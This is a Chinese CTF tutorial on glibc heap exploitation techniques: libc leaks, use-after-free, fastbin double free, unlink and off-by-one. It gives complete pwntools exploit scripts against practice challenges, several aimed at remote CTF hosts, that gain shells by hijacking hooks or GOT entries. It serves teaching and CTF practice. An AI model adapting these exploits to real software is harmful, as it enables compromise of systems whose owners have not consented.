堆入門之常見漏洞利用

2021-01-07 湖南蟻景

本文結合具體的題目,對基於堆的常見漏洞利用方式,包括洩露libc基地址的常見方式、Use After Free、fastbin attack、Unlink和Off By One進行了梳理,包含必要的調試過程和圖解~

leak_libc的幾種常見方式

在堆題中幾乎不會出現含有後門函數直接getshell的情況,這時可以採取的一種對策也是通過洩露libc的基址,進而計算得到system或其他函數的實際地址,下面總結一些常見洩露地址的方法:

(一)洩露main_arena地址

漏洞原理:當我們free一個small_chunk的時候,如果此時fastbin為空,那麼我們的small_chunk就會加入unsorted_bin中,而unsorted_bin中free_chunk的fd和bk指向了main_arena中的位置,這樣如果存在類似UAF等漏洞,可以實現在free small_chunk後再次列印small_chunk的內容也即fd指針,就能夠實現洩露main_arena的實際地址。

利用條件:

(1)能夠申請到small chunk大小範圍內的內存塊

(2)能夠結合其他漏洞點(UAF或double free等)實現洩露釋放後內存塊的內容

(3)釋放的內存塊不是當前在堆上申請的最後一個內存塊

(4)釋放small chunk時,fastbins數組為空

題目:buuoj——jarvisoj_itemboard

WP:

這種漏洞在ubuntu18的環境下似乎無法實現洩露地址,下面的過程在ubuntu16.04的環境下進行:

首先在ida中分析程序,主要功能有:add,list,show,remove,其中發現remove函數中的set_null函數是一個空函數,即程序存在UAF漏洞,看到有show函數,滿足洩露main_arena地址的條件。進一步分析add()和item_free()可以發現申請內存的結構是這樣的:

於是我們首先申請small_bin大小範圍內的(global_max_fast默認值為0x80)chunk作為description的內容:

接著free chunk[0],可以看到size=0x90的chunk加入了unsorted bin,同時該chunk free後的fd和bk的確指向了main_arena中的位置:

main_arena函數的地址在相應libc文件的malloc_trim()函數裡進行初始化:

main_arena的位置與__malloc_hook相差0x10,

add('aaaa',0x80)

add('bbbb',0x80) #?

remove(0)

show(0)

ru("Description:")

leak_addr=u64(p.recv(6).ljust(8,'\x00'))

print hex(leak_addr)

lbase=leak_addr-libc.symbols['__malloc_hook']-0x10-88

system=lbase+libc.symbols['system']

於是如上即可洩露libc基址,得到system函數的實際地址,接著我們再次利用UAF漏洞:

註:在32位的程序中,main_arena的位置與__malloc_hook相差0x18,同時加入到unsorted bin中的small chunk的fd和bk通常指向<main_arena+48>的位置

add('aaaa',32)

add('bbbb',32)

remove(2)

remove(3)

#add('cccc',24,'$0;'+'a'*13+p64(system))

add('cccc',24,'/bin/sh;'+'a'*8+p64(system))

remove(2)

可以看到接著malloc新的chunk時是fastbins中FILO規則:

第二次malloc大小為24的chunk作為description的內容,根據16位元組對齊原則實際上申請的chunk大小為0x20,也就是當初的chunk[2],這樣我們就能覆蓋chunk[2]->name為/bin/sh;,chunk[2]->函數地址為實際的system函數地址

由於UAF漏洞,當再次free chunk[2]時,就會執行函數getshell了:

完整的exp如下:

from pwn import *

context(log_level='debug',arch='amd64')

local=1

binary_name='itemboard'

if local:

p=process("./"+binary_name)

e=ELF("./"+binary_name)

libc=e.libc

else:

p=remote('node3.buuoj.cn',25289)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

def z(a=''):

if local:

gdb.attach(p,a)

if a=='':

raw_input

else:

pass

ru=lambda x:p.recvuntil(x)

sl=lambda x:p.sendline(x)

sd=lambda x:p.send(x)

sla=lambda a,b:p.sendlineafter(a,b)

def add(name,lenth,content='a'):

ru("choose:\n")

sl('1')

sla("Item name?\n",name)

sla("len?\n",str(lenth))

sla("Description?\n",content)

ru("Add Item Successfully!\n")

def show(idx):

ru("choose:\n")

sl('3')

sla("Which item?\n",str(idx))

def remove(idx):

ru("choose:\n")

sl('4')

sla("Which item?\n",str(idx))

#ru("The item has been removed\n")

#程序開啟了ASLR,我在本地關閉了它所以調試的時候是固定地址

z('b *0x555555554bba\nb *0x555555554c6c\nb *0x555555554e37\nb *0x555555554ef6')

add('aaaa',0x80)

add('bbbb',0x80)

remove(0)

show(0)

ru("Description:")

leak_addr=u64(p.recv(6).ljust(8,'\x00'))

print hex(leak_addr)

lbase=leak_addr-libc.symbols['__malloc_hook']-0x10-88

system=lbase+libc.symbols['system']

add('aaaa',32)

add('bbbb',32)

remove(2)

remove(3)

#這裡必須有分號分隔命令,因為從上面的調試過程可以看出在我們調用free函數時rdi指向的內容是我們輸入的24位元組全部內容

#add('cccc',24,'$0;'+'a'*13+p64(system))

add('cccc',24,'/bin/sh;'+'a'*8+p64(system))

remove(2)

p.interactive()

(二)修改能夠執行到的函數的got表為列印函數(如puts,write等)的地址

利用此方法洩露地址需要同時構造列印函數的參數,這個參數是我們利用的got表存放的原函數的參數值,具體說明見下unlink中的 stkof 一題的第二步

(三)在能夠查看內存分配的環境下,通過申請大內存塊(0x21000位元組及以上),利用mmap到的內存塊地址與libc基址之間的固定偏移量洩露地址

例題:見下off_by_one中的Asis_b00ks

UAF - use after free

漏洞原理:如字面意思,當我們釋放(free)相應內存的指針卻沒有將其設置為NULL時,再次使用(use)這一內存塊程序有可能會正常運轉或出現很多奇怪的問題,下面通過一道例題結合調試進行進一步說明。

題目:Hitcon-Training lab10

wp:查看反彙編,發現del_note( )函數中在free內存塊後並沒有將其設置為NULL,所以存在UAF漏洞。

同時,發現後門函數magic,分析add_note( )函數:

我們申請的chunk結構是這樣的

每次執行print_note()時便會調用前四個字節中的函數,所以我們希望能夠將前四個字節覆蓋成magic()。因此我們利用use after free,在free掉note之後,利用寫入content內容將note的前四個字節覆蓋成我們的magic函數地址。

下面藉助調試進一步解釋:

首先在兩個malloc()和兩個free()函數處下斷點:

第一次add中malloc後出現了note的內存塊:

第二次malloc處,輸入size為16,content為'aaaa\n'後出現了content內存塊,同時查看相應內存塊中存儲的內容可以發現note內存塊中的前四個字節為print_note_content函數地址,後四個字節為content內存塊的地址,而content內存塊中則是輸出的字符串內容:

根據程序可以看出先釋放content內存塊,第一次free()後,的確在fastbin[2]處出現了第一個content內存塊,回收free chunk:

接著釋放第一個note內存塊,在fastbin[0]處出現,同時查看兩個內存塊存儲的內容,可以發現前四個字節都被存儲成NULL(fd指針),後四個字節沒有進行修改:

在兩個note均被free後,可以看出在fastbin[0]和fastbin[2]處都形成了單鍊表,通過free_chunk的前四個字節存儲bk*:

再次add後的第一個malloc函數後,可以看出從fastbin[0]的鍊表頭處摘下一個chunk,也是free前申請的第二個note內存塊,作為note內存塊:

輸入size為8和content為magic函數地址後,原先申請的第一個note內存塊作為了新的content內存塊,查看相應內存中的內容可以看到與預期相符:

當我們繼續將該note列印出來的時候可以看到:

說明成功劫持程序流,exp如下:

from pwn import *

context(log_level='debug')

#p=remote()

p=process('./hacknote')

ru=lambda x:p.recvuntil(x)

sl=lambda x:p.sendline(x)

def add(size,content):

ru("Your choice :")

sl('1')

ru("Note size :")

sl(str(size))

ru("Content :")

sl(content)

def delete(idx):

ru("Your choice :")

sl('2')

ru("Index :")

sl(str(idx))

def pri(idx):

ru("Your choice :")

sl('3')

ru("Index :")

sl(str(idx))

#任意字節數都可,但不能是8(note內存塊的可用大小),因為如果是8的話,申請的note內存塊和存儲content的內存塊都在同一個fastbin單鍊表中,再次add時會使用free掉的content內存塊而不是note內存塊,會出現奇怪的問題。

add(16,'a')

add(16,'b')

delete(0)

delete(1)

magic=0x08048986

add(8,p32(magic))

pri(0)

p.interactive()

除了上面這種常見的利用方式,UAF漏洞還可以用於構造出多個指針指向同一個chunk的情況,因為釋放的chunk指針卻沒有制空,我們再次申請聽一個內存塊就會導致這種情況,通常可用於洩露地址

fastbin_attack

漏洞原理:與其他的bin不同,fastbin利用單鍊表進行連接,同時在fastbin中的chunk釋放時不會前/後向合併。於是,如果我們能夠控制fastbin中free chunk的fd指針,我們就能申請到任意地址的chunk塊進行操作:

在把free chunk加入fastbin中時,會check一下當前的chunk是否與fastbin頂部的chunk(鍊表的尾結點)相同,如果相同則報錯並退出。因此,我們不能連續釋放兩次相同的chunk,但是只要在中間添加一個chunk便可繞過檢查,進行double free:

這裡我們加入fastbin數組中的單鍊表的地址是整個chunk的起始地址,而不是user_data的起始處,並且上述情形中對於fake_chunk是有size大小要求的,這是因為在將chunk加入fastbin時會計算需要加入的fastbin數組的下標:

##define fastbin_index(sz)

((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

這裡把sz轉換成了unsigned int ,也就是只取低四個字節,然後右移4並減2,這樣我們的size 0x????????xxxxxxx中的?可以是任意值。

另:由於在Glibc 2.27中新加入了tcache機制,而tcache與fastbin很相似且限制更少,所以fastbin attack在tcache中的應用更為方便。

利用條件:

(1)能夠申請到fastbins大小範圍的chunk

(2)有UAF或者堆溢出等漏洞,能夠修改釋放狀態下chunk的FD指針

題目: buuoj——babyheap_0ctf_2017

WP:分析程序,首先查看保護,發現所有保護全開,FULL RELRD 說明我們不能改寫got表進行洩露,同時開啟了ASLR。程序在一開始進行了內存映射操作,得到隨即地址:

分析Allocate()函數發現在這一隨機地址上,每24個字節作為一個結構體,具體結構如下:

且申請內存的時候使用了calloc()函數,會自動在申請內存後進行清零,所以我們無法在double free small chunk後直接洩露地址,但是在開啟隨即地址化的情況下,調試可以發現我們allocate到的第一個chunk的起始地址最後12位都是0。接著分析Fill()函數發現可以向chunk塊中寫入任意size的內容,典型的堆溢出。接著,分析Free()函數發現沒有UAF漏洞,無法利用,最後Dump函數會輸出chunk中申請的size大小的內存內容。

所以,綜合來看我們可以利用堆溢出漏洞偽造fake chunk,結合fastbin double free實現多指針指向同一chunk塊,從而洩露地址,覆蓋malloc_hook地址來getshell。下面結合調試過程進行進一步說明:

第一步,利用堆溢出漏洞,修改free狀態下fastbin中chunk的fd指針:

alloc(0x10)#0

alloc(0x10)#1

alloc(0x10)#2

alloc(0x10)#3

alloc(0x90)#4

free(1)

free(2)#2->fd=1

fill(3,p64(0)*3+p64(0x21))

fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+'\x80')#2->fd=4

為了修改chunk2的fd指針,我們需要先把大小在small chunk範圍內的chunk4的size偽造成0x21的狀態,前文提到過在開啟了隨即地址化的情況下我們每次allocate到的第一個chunk的地址後12bit都是0,由於在free(1)free(2)後chunk2本身的fd指針為chunk1地址且堆地址是連續的,這樣雖然在開啟PIE保護的情況下我們無法得到準確的堆地址,我們也可以通過partial write,進行一定的推算,從chunk0開始覆蓋chunk2的fd指針的最後一個字節為\x80,從而指向chunk4:

第二步,通過連續malloc操作,使下標為2和4的指針指向了同一個大小為0x90的chunk,這樣我們在釋放chunk4後仍然可以通過dump chunk2的內容洩露地址,注意在釋放chunk4之前我們需要先把size修改正確:

alloc(0x10)#1->2

alloc(0x10)#2->4

alloc(0x60)#5

fill(3,p64(0)*3+p64(0xa1))

free(4)

dump(2)

leak_addr=u64(p.recv(8))

print hex(leak_addr)

offset=leak_addr-88-libc.sym['__malloc_hook']-0x10

print hex(offset)

第三步,我們故技重施,只不過這次我們需要將fd指針覆蓋成__malloc_hook地址前一段距離處:

alloc(0x60)#4

alloc(0x60)#6

alloc(0x60)#7

free(6)

free(7)

fill(5,p64(0)*13+p64(0x71)+p64(0)*13+p64(0x71)+p64(offset+libc.sym['__malloc_hook']-35))

通過查看__malloc_hook地址前一段的內容,可以找到一個合適的fake_chunk

起始地址,使其size大小為0x7f,能夠成功繞過idx計算,並加入到fastbin[5]中,成為chunk7中fd指向的chunk,我們能夠這樣操作的原因是因為堆管理器並不會對加入到fastbin數組中的chunk進行內存對齊的檢查:

最後連續malloc兩次就可以對該地址進行寫操作了,通過寫入內容覆__malloc_hook為one_gadget的地址,當再次執行calloc()函數時就能夠執行one_gadget,從而getshell:

alloc(0x60)#6->7

alloc(0x60)#7->fake_chunk

one_gadget=0x4526a

fill(7,'a'*19+p64(offset+one_gadget))

alloc(0x10)

完整的exp如下:

from pwn import *

#from LibcSearcher import LibcSearcher

context(log_level='debug',arch='amd64')

local=0

binary_name='babyheap'

if local:

p=process("./"+binary_name)

e=ELF("./"+binary_name)

libc=e.libc

else:

p=remote('node3.buuoj.cn',26728)

e=ELF("./"+binary_name)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):

if local:

gdb.attach(p,a)

if a=='':

raw_input

else:

pass

ru=lambda x:p.recvuntil(x)

sl=lambda x:p.sendline(x)

sd=lambda x:p.send(x)

sla=lambda a,b:p.sendlineafter(a,b)

ia=lambda :p.interactive()

def alloc(size):

sla("Command: ",'1')

sla("Size: ",str(size))

def fill(idx,content):

sla("Command: ",'2')

sla("Index: ",str(idx))

sla("Size: ",str(len(content)))

sla("Content: ",content)

def free(idx):

sla("Command: ",'3')

sla("Index: ",str(idx))

def dump(idx):

sla("Command: ",'4')

sla("Index: ",str(idx))

ru("Content: \n")

z('b *0x555555554dcc\nb *0x555555555022\nb *0x555555555113\nb *0x555555554F43')

alloc(0x10)#0

alloc(0x10)#1

alloc(0x10)#2

alloc(0x10)#3

alloc(0x90)#4

free(1)

free(2)#2->fd=1

fill(3,p64(0)*3+p64(0x21))

fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+'\x80')#2->fd=4

alloc(0x10)#1->2

alloc(0x10)#2->4

alloc(0x60)#5

fill(3,p64(0)*3+p64(0xa1))

free(4)

dump(2)

leak_addr=u64(p.recv(8))

print hex(leak_addr)

offset=leak_addr-88-libc.sym['__malloc_hook']-0x10

print hex(offset)

alloc(0x60)#4

alloc(0x60)#6

alloc(0x60)#7

free(6)

free(7)

fill(5,p64(0)*13+p64(0x71)+p64(0)*13+p64(0x71)+p64(offset+libc.sym['__malloc_hook']-35))

alloc(0x60)#6->7

alloc(0x60)#7->fake_chunk

one_gadget=0x4526a

fill(7,'a'*19+p64(offset+one_gadget))

alloc(0x10)

p.interactive()

unlink

漏洞原理:當我們釋放一個chunk塊的時候,堆管理器會檢查當前chunk的前後chunk是否為釋放狀態,若是則會把釋放狀態的前後塊與當前塊合併(大小在fastbin範圍中的chunk塊除外),這時就會出現把已經釋放的chunk塊從雙向循環鍊表中取出的操作:

FD->bk=BK

BK->fd=FD

#FD存儲前一個chunk塊的地址,FD->bk=FD+24/12

#BK存儲後一個chunk塊的地址,BK->fd=BK+16/8

如果我們能夠偽造chunk塊的FD和BK指針,我們就能進行一定的漏洞攻擊。這裡討論當前在unlink過程中已經加入檢查的情況:

//檢查1:FD->bk==BK->fd==P

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

malloc_printerr (check_action, "corrupted double-linked list", P, AV);

//檢查2:物理相鄰的下一個chunk塊的pre_size==size

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))

malloc_printerr ("corrupted size vs. prev_size");

為了繞過檢查我們可以這樣構造(64位):

#--!>注意這裡我們的指針P一直指的是進行unlink的chunk的地址

FD = &P - 0x18

BK = &P - 0x10

這樣在unlink操作時:

FD -> bk = BK ==> *(&P - 0x18+ 0x18) = &P -0x10

BK -> fd = FD ==> *(&P - 0x10+ 0x10) = &P -0x18

最終達到的效果便是:

P = &P - 0x18

這樣我們便成功篡改了chunk指針值,可以向&P-0x18就相當於我們新的fake_chunk。

利用條件:

(1)能夠知道存儲了進行unlink操作的chunk塊指針的地址(一般在程序中用一個數組存放)

(2)能夠改寫釋放chunk的FD和BK指針,當然能夠結合堆溢出等操作偽造chunk的釋放狀態也可以達到相同的效果

題目:buuoj —— stkof

WP:

分析程序,add()函數不限制申請chunk塊的大小,同時把申請到chunk塊的地址存放到一個地址為0x602140的數組中,edit()函數可以自定義輸入內容的長度,明顯的堆溢出,delete()函數正常釋放堆塊,無UAF漏洞。於是,我們的利用思路如下:

第一步,我們申請small chunk大小範圍的chunk,並利用edit()函數的堆溢出漏洞,在第二個chunk中構造fake_chunk和FD\BK指針,再溢出覆蓋第三個chunk的pre_size為0x90,這樣一來可以偽造chunk2的釋放狀態,二來可以繞過unlink時對物理相鄰的nextchunk的pre_size位的檢查,隨後釋放chunk3觸發unlink機制:

add(0x90)#1->這道題沒有設置IO緩衝區,我們需要先申請一個chunk塊以免對後續操作造成影響

add(0x90)#2

add(0x90)#3

s_start=0x602148 #add()函數中::s[++dword_602100] = v2; 所以存儲指針數組的下標從1開始而不是0

pd=p64(0)+p64(0x90)+p64(s_start+8-0x18)+p64(s_start+8-0x10)

pd=pd.ljust(0x90,'\x00')

pd+=p64(0x90)+p64(0xa0)

edit(2,pd)

delete(3)

具體的堆結構如下:

unlink後:*(s_start+8) = s_start+8-0x18,成功在存放指針的數組中篡改了chunk2的地址:

第二步,向chunk2中寫入pd,實際上是覆蓋了存儲chunk指針數組的內容,造成任意地址寫:

pd=p64(0)*2+p64(e.got['free'])+p64(e.got['puts'])+p64(e.got['atoi'])

edit(2,pd)

edit(1,p64(e.plt['puts']))

sl('3')

sl(str(2))

leak_addr=leak_address()

libc=LibcSearcher('puts',leak_addr)

這裡我們分別覆蓋s[1]為free()函數的got表地址,s[2]為puts()函數的got表,這樣向chunk1(s[1])中寫入puts()函數的plt表,就是向free()函數的got表地址中寫入puts()函數地址,當我們釋放chunk2時,會去free()函數的got表處取puts()函數地址。同時,由於free()函數的參數是s[2]:

s[2]已經被覆蓋成了puts()函數的got表地址,因此我們能夠成功列印got表地址,洩露libc基址。

第三步,由於之前我們同時覆蓋了s[3]為atoi()函數的got表地址,我們向其填充system()函數的地址,當函數執行到下一個循環時會調用atoi()函數,參數是我們輸入的字符串:

offset=leak_addr-libc.dump('puts')

sys_addr=offset+libc.dump('system')

bin_sh=offset+libc.dump('str_bin_sh')

edit(3,p64(sys_addr))

sl('/bin/sh\x00')

完整的exp如下:

from pwn import *

from LibcSearcher import LibcSearcher

context(log_level='debug',arch='amd64')

local=1

binary_name='stkof'

if local:

p=process("./"+binary_name)

e=ELF("./"+binary_name)

libc=e.libc

else:

p=remote('node3.buuoj.cn',26749)

e=ELF("./"+binary_name)

#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):

if local:

gdb.attach(p,a)

if a=='':

raw_input

else:

pass

ru=lambda x:p.recvuntil(x)

sl=lambda x:p.sendline(x)

sd=lambda x:p.send(x)

sla=lambda a,b:p.sendlineafter(a,b)

ia=lambda :p.interactive()

def leak_address():

if(context.arch=='i386'):

leak=u32(p.recv(4))

print hex(leak)

return leak

else :

leak=u64(p.recv(6).ljust(8,'\x00'))

print hex(leak)

return leak

def add(size):

sl('1')

sl(str(size))

ru("OK\n")

def edit(idx,pd):

sl('2')

sl(str(idx))

sl(str(len(pd)))

sd(pd)

ru("OK\n")

def delete(idx):

sl('3')

sl(str(idx))

ru("OK\n")

z('b *0x40097C\nb *0x400ACA\nb *0x400B7A\n')

add(0x90)#1

add(0x90)#2

add(0x90)#3

s_start=0x602148

pd=p64(0)+p64(0x90)+p64(s_start+8-0x18)+p64(s_start+8-0x10)

pd=pd.ljust(0x90,'\x00')

pd+=p64(0x90)+p64(0xa0)

edit(2,pd)

delete(3)

pd=p64(0)*2+p64(e.got['free'])+p64(e.got['puts'])+p64(e.got['atoi'])

edit(2,pd)

edit(1,p64(e.plt['puts']))

sl('3')

sl(str(2))

leak_addr=leak_address()

libc=LibcSearcher('puts',leak_addr)

offset=leak_addr-libc.dump('puts')

sys_addr=offset+libc.dump('system')

bin_sh=offset+libc.dump('str_bin_sh')

edit(3,p64(sys_addr))

sl('/bin/sh\x00')

p.interactive()

off_by_one

典型情況:存在控制寫入字節數的邊界條件不當且恰好溢出一個字節 ,例如:strlen()函數返回的字符串字節數不包含結束符'\x00',而strcpy()函數會拷貝結束符等函數特點,當我們可以控制的字節必須為'\x00'的時候,這種漏洞也叫作off_by_null

漏洞原理:在系統分配的堆內存上,如果我們可以控制寫入最後的一個字節,往往能夠造成指針指向我們偽造的內存塊上的情況

題目:buuoj —— asis2016_b00ks

WP:

分析程序,首先要求我們輸入author name,這一部分在邊界問題上存在off_by_one漏洞:判斷輸入的邊界條件是0≤i≤32,所以我們可以控制author name的前33個字符,同時*buf=0會讓在我們輸入的字符串的最後寫入'\x00':

查看author name寫入的位置可以發現輸入author name的字符串會被放在unk_202040的bss變量段存儲起來,距離第一個book_struct指針32個字節,所以我們可以控制第一個book_struct的最後一個字節為任意字節,但是程序會在我們輸入字符串的最後加入\x00,利用時需要注意這一點:

分析create()函數:發現book_name

book_description和book_struct在堆上分配,同時unk_202060的位置存放book結構體的指針,每個結構體的大小為32位元組,具體結構如下:

分析delete()函數,不存在UAF漏洞,分析edit()函數,發現可以修改description但是不存在堆溢出漏洞,分析print()函數,發現%s輸出存在\x00截斷的問題,如果能覆蓋結束字符就可以實現洩露地址,程序還存在change_author函數,可以多次控制我們第一個book_struct指針。

所以,考慮先洩露地址,隨後通過洩露的地址執行system("/bin/sh"),一開始我的思路是通過偽造book_struct的description的位置為book2的description的地址,從而構造出多指針指向small_chunk的description的情況,再釋放該description的chunk,這樣雖然沒有UAF漏洞,我們依然可以洩露出main_arena的地址,但是繼續分析程序會發現我們只能一次性偽造book1_struct,即:

book1_struct的最後一個字節只能構造成'\x00',這樣無法實現任意地址寫,繼而無法執行system("/bin/sh"),為了實現任意地址寫,我們必須利用book2_struct中存儲的ptr_name和ptr_description,這裡便用到了另一種洩露地址的方法:通過申請很大的內存塊,使得堆管理器通過mmap的方式拓展內存,利用mmap到的內存地址與libc基地址的固定偏移量洩露地址。

下面通過具體的調試過程進一步說明(本地環境關閉ASLR且環境為Ubuntu16.04):

第一步,通過%s輸出到\x00結合邊界不當洩露堆地址:

ru("Enter author name: ")

pd='a'*0x20

sl(pd)

create(0x90,'a',0x90,'a')#1

show()

ru('a'*0x20)

book1_addr=leak_address()

print hex(book1_addr)

可以看到在遠程開啟PIE的環境下每次洩露的堆地址的後三個十六進位位也都是相同的,這裡是160:

第二步:

create(0x21000,'b',0x21000,'b')#2

name_addr=book1_addr+0x38

pd='a'*0x40+p64(1)+p64(name_addr)*2+'\xff'

edit(1,pd)

pd='a'*0x20

change_author(pd)

show()

ru("Name: ")

leak_addr=leak_address()

print hex(leak_addr)

通過申請大內存塊(0x21000位元組及以上)使用mmap方式拓展內存,於是我們可以推導出堆分布:

接著,在堆上0x555555758100處構造fake_struct,使fake_struct的ptr_name和ptr_description都是book2_struct中的name內存塊的指針的地址,在這裡:查看my_read函數知道我們向book中寫入description的字節數是受size大小控制的,注意需要合理構造。隨後,利用change_author函數,覆蓋book1_struct的最後一個字節為\x00,指向我們構造的fake_struct,這樣當我們列印book1的信息時可以洩露mmap到的name內存塊的地址,再查看本次

mmap時libc的基地址:

利用在開啟了PIE機制的同一環境下雖然每次libc基地址隨機,但是第一次mmap到的地址和libc基地址之間的偏移量固定的特點可以洩露libc基地址:

offset=0x7ffff7fb8010-0x7ffff7a0d000

libc_base=leak_addr-offset

bin_sh=libc_base+libc.search("/bin/sh").next()

free_hook=libc_base+libc.symbols['__free_hook']

system=libc_base+libc.symbols['system']

最後,我們利用修改book1_struct的description,也即向book2_struct的name_ptr中寫入bin_sh的地址和free_hook的地址,實現向free_hook地址中寫入system函數地址,同時查看具體delete函數可以得知system()的參數是原來name_ptr中的內容,這裡我們已經把name_ptr改寫成bin_sh的地址,即可getshll:

pd=p64(bin_sh)+p64(free_hook)

edit(1,pd)

edit(2,p64(system))

dele(2)

完整的exp如下:

from pwn import *

context(log_level='debug',arch='amd64')

local=0

binary_name='books'

if local:

p=process("./"+binary_name)

e=ELF("./"+binary_name)

libc=e.libc

else:

p=remote('node3.buuoj.cn',27070)

e=ELF("./"+binary_name)

libc=ELF("./libc-2.23-64.so")

def z(a=''):

if local:

gdb.attach(p,a)

if a=='':

raw_input

else:

pass

ru=lambda x:p.recvuntil(x)

sl=lambda x:p.sendline(x)

sd=lambda x:p.send(x)

sla=lambda a,b:p.sendlineafter(a,b)

ia=lambda :p.interactive()

def leak_address():

return u64(p.recv(6).ljust(8,'\x00'))

def create(size_name,name,size_des,des):

ru("> ")

sl("1")

ru("Enter book name size: ")sl(str(size_name))

ru("Enter book name (Max 32 chars): ")

sl(name)

ru("Enter book description size: ")

sl(str(size_des))

ru("Enter book description: ")

sl(des)

def dele(idx):

ru("> ")

sl("2")

ru("Enter the book id you want to delete: ")

sl(str(idx))

def edit(idx,des):

ru("> ")

sl("3")

ru("Enter the book id you want to edit: ")

sl(str(idx))

ru("Enter new book description: ")

sl(des)

def show():

ru("> ")

sl("4")

def change_author(author):

ru("> ")

sl("5")

ru("Enter author name: ")

sl(author)

z('b *0x555555554fc3\nb *0x55555555506c\nb *0x5555555550ff\nb *0x555555554ca6\nb *0x555555554ccc\nb *0x555555554cee\nb *0x555555554f2b\nb *0x555555554b94\n')

ru("Enter author name: ")

pd='a'*0x20

sl(pd)

create(0x90,'a',0x90,'a')#1

show()

ru('a'*0x20)

book1_addr=leak_address()

print hex(book1_addr)

create(0x21000,'b',0x21000,'b')#2

#create(0x20,'/bin/sh\x00',0x20,'c')#3 -->這裡是getshell的第二種方式,大同小異

name_addr=book1_addr+0x38

#des3_addr=book1_addr+0xd0

#pd='a'*0x40+p64(1)+p64(name_addr)+p64(des3_addr)+'\x10'

pd='a'*0x40+p64(1)+p64(name_addr)*2+'\xff'

edit(1,pd)

pd='a'*0x20

change_author(pd)

show()

ru("Name: ")

leak_addr=leak_address()

print hex(leak_addr)

offset=0x7fd8d0b0d010-0x7fd8d0547000 #遠程環境的偏移量,具體見下注

libc_base=leak_addr-offset

bin_sh=libc_base+libc.search("/bin/sh").next()

free_hook=libc_base+libc.symbols['__free_hook']

system=libc_base+libc.symbols['system']

pd=p64(bin_sh)+p64(free_hook)

edit(1,pd)

edit(2,p64(system))

dele(2)

p.interactive()

註:

大家應該發現之前我們洩露地址的時候需要在本地查看內存分布情況,但是在遠程的機器上我無法做到這一點,在我不斷嘗試的過程中發現如果釋放非法內存可以得到遠程內存的回顯:

這樣,結合此次洩露出的地址,情況便和在本地的時候一樣了。

註:

1.調試環境為關閉了ASLR的Ubuntu 16.04

2.本文涉及的題目除Hitcon-Training lab10之外,在buuoj.cn平臺上均有靶機可供實驗

合天網安實驗室推薦實驗==ARM漏洞利用技術五--堆溢出(堆是一個更複雜的內存位置,主要是因為它的管理方式。放置在堆內存部分中的每個對象都「打包」成一個「塊」,它包含header頭部和userdata用戶數據兩部分(有時由用戶完全控制)。在堆的情況下,當用戶能夠寫入比預期更多的數據時,會發生內存損壞)

相關焦點

  • Windows 10上的堆溢出漏洞利用
    我了解漏洞的一種方法是弄清楚如何創建它和攻破它。這就是我們今天要做的。由於堆內存損壞是一個非常有破壞力的問題,所以讓我們從Windows 10上的堆溢出開始吧。堆溢出的案例這是一個堆溢出的基本示例。很明顯,它試圖將64位元組大小的數據傳遞給一個只有32位元組的堆緩衝區。
  • PWN系列堆利用之 Unsorted Bin Attack
    本文題目調試環境:pwndocker + glibc2.23 + python3 + pwntools + IDA7.0Unsorted Bin Attack,顧名思義,該攻擊與 Glibc 堆管理中的的
  • 堆學習入門
    藉助hitcon training的題目對三種堆的利用方法進行了一個系統的學習,剛入坑的堆小白們可以一起學習一下。
  • 手把手教你入門V8漏洞利用
    對於V8漏洞我也是新手,所以想從新手入門的角度來講解V8漏洞。從環境搭建,到具體的CVE-2019-5782漏洞利用。
  • Pwn2Own Tokyo :Netgear R6700路由器堆溢出漏洞分析
    第二個問題是文件上傳函數中的經典堆溢出漏洞。易受攻擊的函數將上傳文件的內容複製到攻擊者控制大小的基於堆的緩衝區中,以下是易受攻擊的函數的偽代碼:為了控制基於堆的緩衝區的大小,攻擊者可以利用Content-Length標頭,但這並不簡單,讓我們更深入地說明原因。導入配置文件的HTTP請求如下:HTTP請求必須滿足幾個條件。
  • 從漏洞利用工具到零日漏洞:網絡黑市大全
    地下市場提供各種各樣的服務供,網絡罪犯從中獲利……地下市場這些論壇提供的貨品種類簡直包羅萬象,從物理世界的商品,比如毒品、武器,到數字世界的服務,比如垃圾郵件/網絡釣魚郵件投放、漏洞利用工具包服務、「加殼器」、「捆綁器」、定製惡意軟體開發
  • "玄說安全-入門圈"簡介(2019)
    漏洞利用這部分集中在針對已經存在的漏洞,如何進行Exploit,編寫PoC。信息搜集是滲透測試非常重要的第一步,在信息搜集的基礎上需要對目標伺服器存在的漏洞進行掃描和探測,探測到已知漏洞,想要突破必須要進行Exploit。在網上我們可以找到大量的使用Python編寫的PoC,本部分會相信講解漏洞利用插件的編寫方法和如何進行自動攻擊。
  • PHP一些常見的漏洞梳理
    以下主要是近期對php一些常見漏洞的梳理,包含php文件包含、php反序列化漏洞以及php偽協議。
  • 從此悟透各類漏洞利用技術
    在CTF比賽中它代表著溢出類的題目,主要考查參賽選手對漏洞的利用能力。身為二進位安全相關模塊,偏向於底層方向,學習曲線陡峭,要求學習者對系統的理解更加深入。所需知識:C、OD+IDA、數據結構、作業系統。今天博文菌帶來了一本《CTF競賽權威指南(Pwn篇)》!
  • Windows漏洞利用開發 - 第1部分:基礎知識
    本系列接下來的文章寫作計劃是從簡單的(直接EIP覆蓋)到更複雜的(unicode,ASLR繞過,堆噴,設備驅動程序漏洞利用等)的各種攻擊主題,使用實際漏洞攻擊作為列子。我沒有什麼更具體的計劃,所以當我想到更多主題時,我會繼續寫帖子。
  • CTF必備技能丨Linux Pwn入門教程——格式化字符串漏洞
    教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,所有環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有注釋的python腳本。今天i春秋與大家分享的是Linux Pwn入門教程第七章:格式化字符串漏洞,閱讀用時約12分鐘。
  • PHP網站常見安全漏洞及防禦方法
    網站漏洞一:常見PHP網站漏洞安全。文件漏洞文件漏洞通常是由於網站開發者在進行網站設計時對外部提供的數據缺乏充分的過濾導致黑客利用其中的漏洞在Web進程上執行相應的命令。假如在lsm.php中包含這樣一段代碼:include($b.」/aaa.php」.)
  • 主機漏洞利用原理及演示
